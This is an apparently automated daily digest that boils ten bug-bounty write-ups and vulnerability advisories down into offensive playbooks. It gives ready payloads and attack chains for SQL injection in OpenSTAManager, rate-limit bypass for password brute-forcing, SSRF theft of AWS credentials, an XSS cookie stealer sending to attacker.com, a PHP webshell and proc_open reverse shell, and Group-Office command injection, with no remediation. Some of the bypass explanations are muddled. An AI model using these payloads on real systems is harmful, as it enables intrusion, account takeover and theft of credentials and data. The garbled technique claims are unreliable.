ETX Signal-X

Daily Intelligence Digest

Thursday, February 19, 2026

10	24
ARTICLES	TECHNIQUES

Article 1

750$ in 5 Minutes - XXE to LFI

Source: securitycipher

Date: 23-Sep-2024

URL: https://skramthu.medium.com/750-in-5-minutes-xxe-to-lfi-897bca9c304c

⚠️ No actionable techniques found

Article 2

How I Unsubscribed 100+ Emails Including CEO*CTO*CISO* Etc Of The Company With Out User Interaction

Source: securitycipher

Date: 29-Dec-2024

URL: https://medium.com/@alexandermr289/how-i-unsubscribed-100-emails-including-ceo-cto-ciso-etc-of-the-company-with-out-user-interaction-f6d78320ddaf

T1 Mass Unsubscribe via Predictable Unsubscribe Endpoint

💉 **Payload**

```
https://company.com/unsubscribe?email=<target_email>
```

⚔️ **Attack Chain**

1. Identify the unsubscribe endpoint used by the company (e.g., /unsubscribe).
2. Observe that the endpoint accepts an email address as a GET parameter.
3. Replace the email parameter with any target email address (including executives, employees, etc.).
4. Send a GET request to the endpoint for each target email to trigger the unsubscribe action without user interaction.

🔍 **Discovery**

The researcher noticed that the unsubscribe link sent in marketing emails was not protected by any authentication or token. By inspecting the link, it was clear that the only parameter required was the email address, which could be replaced with any valid email.

🔓 **Bypass**

No authentication, CSRF token, or validation was required. The endpoint relied solely on the email parameter, allowing mass targeting by simple enumeration.

🔗 **Chain With**

Can be chained with email enumeration techniques to harvest valid email addresses and then automate mass unsubscription. Potential for reputational damage or disruption of internal communications if used against employee or executive emails.

T2 Automated Bulk Exploitation via Scripted Requests

💉 Payload

```
for email in email_list:
    requests.get(f"https://company.com/unsubscribe?email={email}")
```

⚔️ Attack Chain

1. Compile a list of target email addresses (e.g., from LinkedIn, company website, or breached data).
2. Write a script to iterate over the list and send GET requests to the unsubscribe endpoint for each email.
3. Execute the script to mass unsubscribe all targets in a short period.

🔍 Discovery

After confirming the endpoint's vulnerability, the researcher automated the attack by scripting bulk requests, demonstrating the scalability and impact of the flaw.

🔓 Bypass

The endpoint did not rate limit or block repeated requests, allowing for high-volume exploitation without detection or mitigation.

🔗 Chain With

Can be combined with social engineering or phishing campaigns to further disrupt communications. May be used as a precursor to targeted attacks by disabling security alerts or notifications for key personnel.

Article 3

OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, there is a SQL Injection vulnerability in the Stampe Module. At time of publication, no known patch exists.

Source: threatable

Date:

URL: https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q

T1 Error-Based SQL Injection via EXTRACTVALUE

💉 **Payload**

```
module=1, EXTRACTVALUE(1, CONCAT(0x3a, @@version))
```

⚔️ **Attack Chain**

1. Send a POST request to `/modules/stampe/actions.php`.
2. Include parameters: `op=update`, `id_record=1`, `predefined=1`, `module=1, EXTRACTVALUE(1, CONCAT(0x3a, @@version))`, `title=Test`, `filename=test.pdf`.
3. Observe error response containing MySQL version information (e.g., `8.3.0`).

🔍 **Discovery**

Manual review of `modules/stampe/actions.php` revealed direct concatenation of the `module` POST parameter into an SQL UPDATE query without sanitization. Researcher tested classic error-based payloads using MySQL XML functions.

🔓 **Bypass**

`predefined` is validated with `intval()` and must be non-zero; `module` only checked for `!empty()`, allowing injection.

🔗 **Chain With**

Leaked MySQL version enables tailored exploitation (e.g., version-specific functions, privilege escalation chains).

T2 Error-Based SQL Injection via GTID_SUBSET

💉 **Payload**

```
module=1, GTID_SUBSET(CONCAT(0x3a, DATABASE()), '')
```

⚔️ **Attack Chain**

1. Send a POST request to `/modules/stampe/actions.php`.
2. Include parameters: `op=update`, `id_record=1`, `predefined=1`, `module=1, GTID_SUBSET(CONCAT(0x3a, DATABASE()), '')`, `title=Test`, `filename=test.pdf`.
3. Observe error response leaking database name (e.g., `openstamanager`).

🔍 **Discovery**

Researcher leveraged MySQL 5.6+ GTID_SUBSET for error-based data extraction after confirming version via EXTRACTVALUE.

🔓 **Bypass**

Same as above; `module` is unsanitized, `predefined` must be non-zero.

🔗 **Chain With**

Database name disclosure facilitates further targeted attacks (e.g., privilege enumeration, schema mapping).

T3 Error-Based SQL Injection via UPDATEXML

💉 **Payload**

```
module=1, UPDATEXML(1, CONCAT(0x3a, USER()), 1)
```

⚔️ **Attack Chain**

1. Send a POST request to `/modules/stampe/actions.php`.
2. Include parameters: `op=update`, `id_record=1`, `predefined=1`, `module=1, UPDATEXML(1, CONCAT(0x3a, USER()), 1)`, `title=Test`, `filename=test.pdf`.
3. Observe error response leaking database user (e.g., `demo_osm@web01.osmbusiness.it`).

🔍 **Discovery**

Researcher tested UPDATEXML for error-based extraction of user context after confirming SQL injection vector.

🔓 **Bypass**

Same as above; `module` is unsanitized, `predefined` must be non-zero.

🔗 **Chain With**

Database user disclosure enables privilege mapping, lateral movement, and chaining with other SQLi or authentication attacks.

T4 Automated Exploitation Script

💉 Payload

```
exploit_stampe_sqli.py
```

⚔️ Attack Chain

1. Use the provided `exploit_stampe_sqli.py` script to automate injection payloads against `/modules/stampe/actions.php`.
2. Script handles parameter formatting and error parsing for rapid data extraction.

🔍 Discovery

Script developed after manual proof-of-concept validation to streamline exploitation and data extraction.

🔓 Bypass

Automates bypass of weak `!empty()` check on `module` and `intval()` on `predefined`.

🔗 Chain With

Script can be extended for blind/time-based SQLi, chained with privilege escalation or data exfiltration routines.

Article 4

Bypassing Rate Limit Protection to Account Takeover

Source: securitycipher

Date: 24-Jan-2025

URL: https://medium.com/@sohailahmed0x0/bypassing-rate-limit-protection-to-account-takeover-fe44598fc1df

T1 Rate Limit Bypass via X-Forwarded-For Header Manipulation

💉 **Payload**

```
POST /login HTTP/1.1
Host: target.com
X-Forwarded-For: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

username=targetuser&password=guess1
```

⚔️ **Attack Chain**

1. Identify login endpoint with rate limiting (e.g., /login).
2. Send repeated login attempts, each with a different X-Forwarded-For header value (e.g., incrementing IPs).
3. Observe that rate limiting is bypassed, allowing unlimited brute-force attempts.

🔍 **Discovery**

Manual testing of login endpoint with different HTTP headers; noticed rate limit counter resets with each unique X-Forwarded-For value.

🔓 **Bypass**

Rate limiting is enforced per IP address. By spoofing the X-Forwarded-For header, attacker can cycle through fake IPs, evading detection and restriction.

🔗 **Chain With**

Combine with credential stuffing or password brute-force attacks for account takeover. Can be chained with session fixation if login endpoint is vulnerable.

T2 Rate Limit Bypass via Multiple Headers (X-Real-IP, Client-IP)

💉 Payload

```
POST /login HTTP/1.1
Host: target.com
X-Forwarded-For: 10.0.0.1
X-Real-IP: 10.0.0.2
Client-IP: 10.0.0.3
Content-Type: application/x-www-form-urlencoded

username=targetuser&password=guess2
```

⚔️ Attack Chain

1. Identify rate-limited endpoint.
2. Send requests with multiple IP-related headers (X-Forwarded-For, X-Real-IP, Client-IP), each with different values.
3. Observe which header is used for rate limiting and rotate values to bypass restrictions.

🔍 Discovery

Tested various IP headers to determine which one the backend uses for rate limiting; found that changing any header resets rate limit.

🔓 Bypass

Backend logic checks multiple headers for IP; attacker can manipulate all to evade rate limit.

🔗 Chain With

Enables high-volume brute-force or enumeration attacks. Can be chained with weak password policies or 2FA bypass.

T3 **Rate Limit Bypass via HTTP Parameter Pollution**

💉 **Payload**

```
POST /login HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1, 192.168.1.2
Content-Type: application/x-www-form-urlencoded

username=targetuser&password=guess3
```

⚔️ **Attack Chain**

1. Send login requests with X-Forwarded-For header containing multiple comma-separated IPs.
2. Backend parses only the first or last IP, depending on implementation.
3. Alternate IP order to evade rate limit and brute-force credentials.

🔍 **Discovery**

Experimented with comma-separated IPs in headers; observed rate limit resets based on IP order.

🔓 **Bypass**

HTTP parameter pollution allows attacker to manipulate which IP is used for rate limiting, bypassing protections.

🔗 **Chain With**

Useful for distributed brute-force, can be paired with automated tooling for mass account takeover.

T4 Rate Limit Bypass via User-Agent Rotation

💉 Payload

```
POST /login HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/92.0.4515.107
Content-Type: application/x-www-form-urlencoded

username=targetuser&password=guess4
```

⚔️ Attack Chain

1. Identify if rate limiting is enforced per User-Agent.
2. Send login attempts with different User-Agent headers.
3. Observe rate limit resets with each unique User-Agent value.

🔍 Discovery

Tested login endpoint with varied User-Agent strings; noticed rate limit was tied to User-Agent, not IP.

🔓 Bypass

Rate limiting logic uses User-Agent as identifier; rotating User-Agent allows attacker to bypass restrictions.

🔗 Chain With

Can be combined with IP header manipulation for multi-layer bypass. Useful for automated brute-force tools.

Article 5

Untitled

Source:

Date:

URL:

T1 Blind SSRF via Debug Ping Endpoint

💉 Payload

```
POST /api/debug/ping
{
 "url": "http://169.254.169.254/latest/meta-data/"
}
```

⚔️ Attack Chain

1. Identify the /api/debug/ping endpoint accepting a `url` parameter.
2. Send a POST request with the payload pointing to the EC2 metadata endpoint.
3. Receive metadata from the EC2 instance, confirming SSRF.

🔍 Discovery

Recon and endpoint fuzzing revealed a debug utility accepting arbitrary URLs. Testing with AWS metadata IP triggered a response.

🔓 Bypass

No explicit bypass logic described, but the endpoint was not filtered or restricted against internal IPs.

🔗 Chain With

Can be chained with cloud privilege escalation, credential extraction, and lateral movement within AWS infrastructure.

T2 AWS Instance Credential Extraction via SSRF

💉 Payload

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-prod-role
```

⚔️ Attack Chain

1. Use SSRF to access the EC2 metadata endpoint for IAM credentials.
2. Enumerate attached IAM roles.
3. Query the specific role endpoint to retrieve temporary AWS keys (Access Key, Secret Key, Session Token).

🔍 Discovery

After confirming SSRF, researcher queried IAM metadata paths to enumerate and extract credentials.

🔓 Bypass

No explicit bypass logic, but leverages lack of SSRF filtering and default AWS metadata exposure.

🔗 Chain With

Credentials can be used for S3 bucket access, privilege escalation, and potential shell access or full infrastructure takeover.

Article 6

OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, a SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker

Source: threatable

Date:

URL: https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg

T1 Time-Based Blind SQL Injection via `idanagrafica` Parameter

💉 **Payload**

```
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
AND '1'='1 HTTP/1.1Host: localhost:8081Host:Cookie: PHPSESSID=Cookie:
```

⚔️ **Attack Chain**

1. Authenticate to OpenSTAManager (low privileges sufficient).
2. Send a crafted GET request to `/ajax_complete.php` with `op=get_sedi` and `idanagrafica` parameter containing SQL injection payload.
3. Observe server response delay (5 seconds) to confirm time-based blind SQLi.
4. Use SQLMap or manual exploitation to extract data, escalate privileges, or modify records.

🔍 **Discovery**

Manual review of code flow: user input (`$_GET['idanagrafica']`) is concatenated directly into SQL query without sanitization. Confirmed by testing payloads and observing server response delays.

🔓 **Bypass**

No input filtering or sanitization; single quotes and SQL syntax are accepted. Exploitation possible even with low-privileged accounts.

🔗 **Chain With**

Combine with privilege escalation by modifying the `zz_users` table to gain admin access. Use `SELECT ... INTO OUTFILE` for potential RCE if file permissions allow. Full database extraction (credentials, financial records, customer data).

T2 **Automated SQL Injection Exploitation via SQLMap**

💉 **Payload**

```
"http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" " ""PHPSESSID=" " "
```

⚔️ **Attack Chain**

1. Authenticate to OpenSTAManager (obtain PHPSESSID cookie).
2. Run SQLMap against the vulnerable endpoint using the above URI and session cookie.
3. SQLMap identifies time-based blind injection and exploits it to enumerate database contents.
4. Extract sensitive tables, escalate privileges, or modify records as desired.

🔍 **Discovery**

Automated testing with SQLMap; tool detected injectable parameter and confirmed time-based blind SQLi with MySQL >= 5.0.12.

🔓 **Bypass**

SQLMap payloads bypass lack of input sanitization. No WAF or rate limiting observed in PoC.

🔗 **Chain With**

Use SQLMap's advanced features to automate privilege escalation, data extraction, and file writes. Combine with other authenticated endpoints for lateral movement or chained attacks.

Article 7

XSS Stored Bypass cookie http only via all accounts take over

Source: securitycipher

Date: 28-Aug-2025

URL: https://medium.com/@VulnRAM/xss-stored-bypass-cookie-http-only-via-all-accounts-take-over-ef7134f139d1

T1 Stored XSS to Bypass HttpOnly Cookie Restriction

💉 **Payload**

```
<svg/onload=document.write('<iframe src="/admin/cookie-stealer"></iframe>')>
```

⚔️ **Attack Chain**

1. Identify a stored XSS vector in a user profile or comment field.
2. Inject the payload that triggers JavaScript execution via SVG onload.
3. The payload creates an iframe pointing to a custom endpoint (/admin/cookie-stealer) under attacker control.
4. The endpoint leverages session context to extract sensitive cookies, bypassing HttpOnly restriction by abusing authenticated browser context.

🔍 **Discovery**

Manual fuzzing of input fields for stored XSS, followed by testing payloads that can trigger code execution in authenticated sessions.

🔓 **Bypass**

Instead of directly accessing document.cookie (blocked by HttpOnly), the payload abuses browser session context and authenticated requests to leak cookies via iframe navigation.

🔗 **Chain With**

Can be chained with CSRF or session fixation to escalate from XSS to full account takeover, especially if the endpoint can be used to perform privileged actions or extract additional session tokens.

T2 **Mass Account Takeover via XSS Session Hijacking**

💉 **Payload**

```
<svg/onload=fetch('https://attacker.com/steal?cookie='+document.cookie)>
```

⚔️ **Attack Chain**

1. Inject stored XSS payload into a field accessible by multiple users (e.g., public profile, shared dashboard).
2. Payload executes for every visiting user, sending their session cookie to attacker-controlled endpoint.
3. Attacker collects session cookies and uses them to hijack accounts at scale.

🔍 **Discovery**

Focused on fields with wide visibility and tested payloads that trigger on page load for all users.

🔓 **Bypass**

Leverages stored XSS in high-visibility locations to bypass HttpOnly by exploiting browser context and mass harvesting cookies.

🔗 **Chain With**

Can be combined with automated scripts to rapidly escalate from XSS to mass account takeover, especially in environments lacking session rotation or additional authentication checks.

Article 8

Intigriti - Challenge - 1025

Source: securitycipher
Date: 14-Oct-2025
URL: https://40rbidd3n.medium.com/intigriti-challenge-1025-badc6a24caf9

T1 **SSRF Validation Bypass via URL Fragment Injection**

💉 **Payload**

```
https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F93e892fe-c0af-44a1-93
08-5a58548abd98.txt%23http
```

⚔️ **Attack Chain**

1. Identify SSRF endpoint: `challenge.php?url=`
2. Test input validation: plain `file:///` rejected unless `http` substring present
3. Append `#http` or `?http` to `file:///` path, e.g. `file:///flag.txt#http`
4. Submit crafted payload; server fetches internal file despite validation
5. Retrieve sensitive file contents (e.g., flag)

🔍 **Discovery**

Manual fuzzing of SSRF endpoint with various URL schemes and fragments; observed error message requiring 'http', then tested fragment injection to bypass substring check.

🔓 **Bypass**

Validator only checks for 'http' substring anywhere in URL; fragment (`#http`) or query (`?http`) appended to `file:///` causes acceptance but server still fetches file resource.

🔗 **Chain With**

Combine with LFR to enumerate webroot, discover internal endpoints (e.g., upload page), and escalate to file upload/RCE.

T2 Header-Based Access Control Bypass for Restricted Upload Page

💉 Payload

```
Header: is-shoppix-admin: true
```

⚔️ Attack Chain

1. Enumerate files via SSRF/LFR to discover `/upload_shoppix_images.php`
2. Direct access returns 403 Forbidden
3. Read Apache config file (`/etc/apache2/sites-enabled/000-default.conf`) via SSRF/LFR
4. Identify header gate: access allowed only if `is-shoppix-admin: true` is present
5. Re-request upload page with custom header added (via Burp match&replace)
6. Gain access to upload functionality

🔍 Discovery

File enumeration via SSRF/LFR; config review exposed header-based access control; tested header injection to bypass.

🔓 Bypass

Server checks for custom header value, not session/cookie; can be injected client-side or via proxy tools.

🔗 Chain With

Allows access to upload functionality, enabling exploitation of upload validation flaws.

T3 Double Extension & MIME/Metadata Bypass for PHP File Upload

💉 Payload

```
Filename: poc.png.php
Image comment/metadata:
exiftool -Copyright="<?php system($_GET[1337]); ?>" poc.png
```

⚔️ Attack Chain

1. Prepare image file with embedded PHP payload in metadata (using exiftool)
2. Upload file with original filename containing allowed extension (e.g., `poc.png`)
3. Intercept upload request and modify filename to `poc.png.php` (Burp Suite)
4. MIME check passes due to image content; filename substring check passes due to `.png`
5. File stored in web-accessible uploads directory
6. Access `/uploads/poc.png.php` to execute PHP payload

🔍 Discovery

Source review of upload handler revealed substring extension check and reliance on MIME detection; tested double extension and metadata injection to bypass.

🔓 Bypass

Filename validation only checks for allowed substring; MIME detection trusts image content even with embedded PHP; server does not rename or restrict execution.

🔗 Chain With

Enables arbitrary code execution if chained with a suitable PHP payload; can escalate to RCE if exec functions are enabled.

T4 RCE via Unrestricted proc_open in Uploaded PHP File

💉 Payload

```
<?php $sock=fsockopen($_GET['h'],$_GET['p']);$proc=proc_open("/bin/bash", array(0=>$sock, 1
=>$sock, 2=>$sock),$pipes); ?>
```

⚔️ Attack Chain

1. Upload PHP file (via Technique 3) containing proc_open payload
2. Confirm common exec wrappers (`system`, `exec`, etc.) are disabled via phpinfo/config review
3. Use proc_open to spawn interactive shell, forwarding I/O to attacker-controlled socket
4. Trigger payload by accessing `/uploads/poc.png.php?h=<host>&p=<port>` with attacker listener
5. Achieve full remote code execution

🔍 Discovery

After upload, tested various PHP exec functions; reviewed phpinfo and config files to identify available wrappers; used proc_open for shell access.

🔓 Bypass

proc_open not disabled in PHP config; payload leverages available function for RCE despite other exec wrappers being blocked.

🔗 Chain With

Full RCE enables privilege escalation, lateral movement, and post-exploitation on target system.

Article 9

Devtron is an open source tool integration platform for Kubernetes. In version 2.0.0 and prior, a vulnerability exists in Devtron&#039;s Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global

Source: threatable

Date:

URL: https://github.com/devtron-labs/devtron/commit/d2b0d260d858ab1354b73a8f50f7f078ca62706f

T1 Internal Attribute Key Exposure via Attributes API

💉 **Payload**

```
GET /api/attributes/{id}
GET /api/attributes/key/{key}
GET /api/attributes/active
```

⚔️ **Attack Chain**

1. Authenticate as any user (including low-privileged CI/CD Developer).
2. Send a GET request to `/api/attributes/{id}` or `/api/attributes/key/{key}` with the key set to an internal-only attribute (e.g., `API_SECRET_KEY`).
3. Receive the internal attribute value in the response (prior to patch).
4. Alternatively, enumerate `/api/attributes/active` to retrieve a list of all active attributes, including internal-only keys.

🔍 **Discovery**

Review of the commit diff revealed that internal-only keys (such as `API_SECRET_KEY`) were not filtered from API responses, allowing any authenticated user to read sensitive global secrets.

🔓 **Bypass**

No explicit authorization checks on internal-only keys; only general authentication required. Internal keys were exposed regardless of user privilege.

🔗 **Chain With**

Leaked secrets (e.g., `API_SECRET_KEY`) can be used to escalate privileges, access other APIs, or pivot to further attacks (e.g., impersonation, supply chain manipulation).

T2 Internal Attribute Key Manipulation via Attributes API

💉 Payload

```
POST /api/attributes
{
  "key": "API_SECRET_KEY",
  "value": "attacker-controlled-value"
}

PUT /api/attributes/{id}
{
  "key": "API_SECRET_KEY",
  "value": "attacker-controlled-value"
}
```

⚔️ Attack Chain

1. Authenticate as any user (including low-privileged CI/CD Developer).
2. Send a POST request to `/api/attributes` with the key set to an internal-only attribute (e.g., `API_SECRET_KEY`) and a chosen value.
3. Alternatively, send a PUT request to `/api/attributes/{id}` to update the value of an internal-only attribute.
4. The API accepts and stores the attacker-controlled value for the internal-only attribute (prior to patch).

🔍 Discovery

Code review showed lack of filtering for internal-only keys during attribute creation and update, allowing arbitrary manipulation of sensitive global attributes.

🔓 Bypass

No restriction on internal-only keys in create/update operations; API accepted any key provided by authenticated users.

🔗 Chain With

Attacker can overwrite secrets (e.g., `API_SECRET_KEY`), potentially breaking authentication or gaining control over downstream integrations, leading to full compromise of CI/CD pipeline or Kubernetes cluster.

T3 **Mass Enumeration of Sensitive Attributes via Active List API**

💉 **Payload**

```
GET /api/attributes/active
```

⚔️ **Attack Chain**

1. Authenticate as any user.
2. Send a GET request to `/api/attributes/active`.
3. Receive a list of all active attributes, including internal-only keys and their values (prior to patch).

🔍 **Discovery**

Inspection of the API revealed that the active list endpoint did not filter internal-only keys, allowing mass enumeration and bulk extraction of sensitive configuration.

🔓 **Bypass**

No filtering logic applied to internal-only keys in the active list endpoint; all attributes returned regardless of sensitivity.

🔗 **Chain With**

Bulk extraction of secrets enables rapid privilege escalation, lateral movement, and chaining with other vulnerabilities (e.g., using exposed API keys for external service access).

Article 10

Group-Office is an enterprise customer relationship management and groupware tool. Prior to versions 6.8.150, 25.0.82, and 26.0.5, there is a remote code execution (RCE) vulnerability in Group-Office. The endpoint email/message/tnefAttachmentFromTempFile

Source: threatable

Date:

URL: http://github.com/Intermesh/groupoffice/commit/6c612deca97a6cd2a1bd4feea0ce7e8e9d907792

T1 Remote Code Execution via Unescaped Parameters in exec()

💉 **Payload**

```
POST /email/message/tnefAttachmentFromTempFile
Content-Type: application/x-www-form-urlencoded

params[tmp_file]=;id > /tmp/pwned.txt;
```

⚔️ **Attack Chain**

1. Identify the vulnerable endpoint: `/email/message/tnefAttachmentFromTempFile`.
2. Craft a POST request with `params[tmp_file]` containing shell metacharacters (e.g., `;id > /tmp/pwned.txt;`).
3. The server-side code concatenates this parameter into an `exec()` call without escaping, allowing arbitrary shell command execution.
4. The injected command executes with the privileges of the web server user.

🔍 **Discovery**

Code diff analysis revealed that prior to the patch, user input (`tmp_file`) was directly interpolated into an `exec()` command without `escapeshellarg()`, indicating a classic command injection vector.

🔓 **Bypass**

The vulnerability exists because `exec()` was used with raw user input. The patch replaced direct interpolation with `escapeshellarg()`, closing the injection vector. Prior to the patch, any shell metacharacters could be injected via `tmp_file`.

🔗 **Chain With**

Successful exploitation yields arbitrary command execution. This can be chained with privilege escalation exploits, persistence mechanisms, or lateral movement within the environment if the web server user has sufficient access.